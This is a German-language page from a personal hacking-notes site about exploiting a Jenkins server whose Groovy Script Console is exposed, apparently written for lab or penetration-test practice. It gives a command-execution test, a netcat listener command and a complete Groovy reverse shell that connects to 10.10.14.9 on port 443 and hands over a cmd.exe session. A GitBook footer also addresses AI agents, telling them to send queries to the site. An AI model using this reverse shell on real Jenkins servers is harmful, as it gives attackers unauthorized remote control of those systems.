> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/cms/jenkins-cms-exploitation.md).

# Jenkins

<figure><img src="/files/ed0a314711240c3d477a9d0420018e2b954d5600" alt=""><figcaption></figcaption></figure>

**Jenkins - Groovy-Skriptausführung**

Jenkins ist zugänglich und **Script Console** ist aktiviert und ermöglicht die Ausführung von Groovy-Skripten.

<figure><img src="/files/328649672d7c4e2d38ec76a9576abc14b27c5fa3" alt=""><figcaption></figcaption></figure>

Beispielbefehl zum Testen der Ausführung:

```groovy
println "ipconfig".execute().text
```

<figure><img src="/files/e9521fc36bf47e3b0d926816f76afb4a6df1d26a" alt=""><figcaption></figcaption></figure>

### **Ausnutzung**

#### **Reverse Shell über die Groovy Script Console**

Um Remote-Zugriff zu erhalten, verwenden Sie den folgenden Ablauf:

1. **Starte einen Listener auf Port 443:**

```bash
rlwrap nc -nvlp 443
```

2. **Führen Sie das folgende Skript in der Groovy-Konsole aus** um eine Reverse Shell herzustellen:

{% code overflow="wrap" %}

```groovy
String host="10.10.14.9";
int port=443;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```

{% endcode %}

<figure><img src="/files/1c891f85522c59ae8bda843f614554b448221735" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/cms/jenkins-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
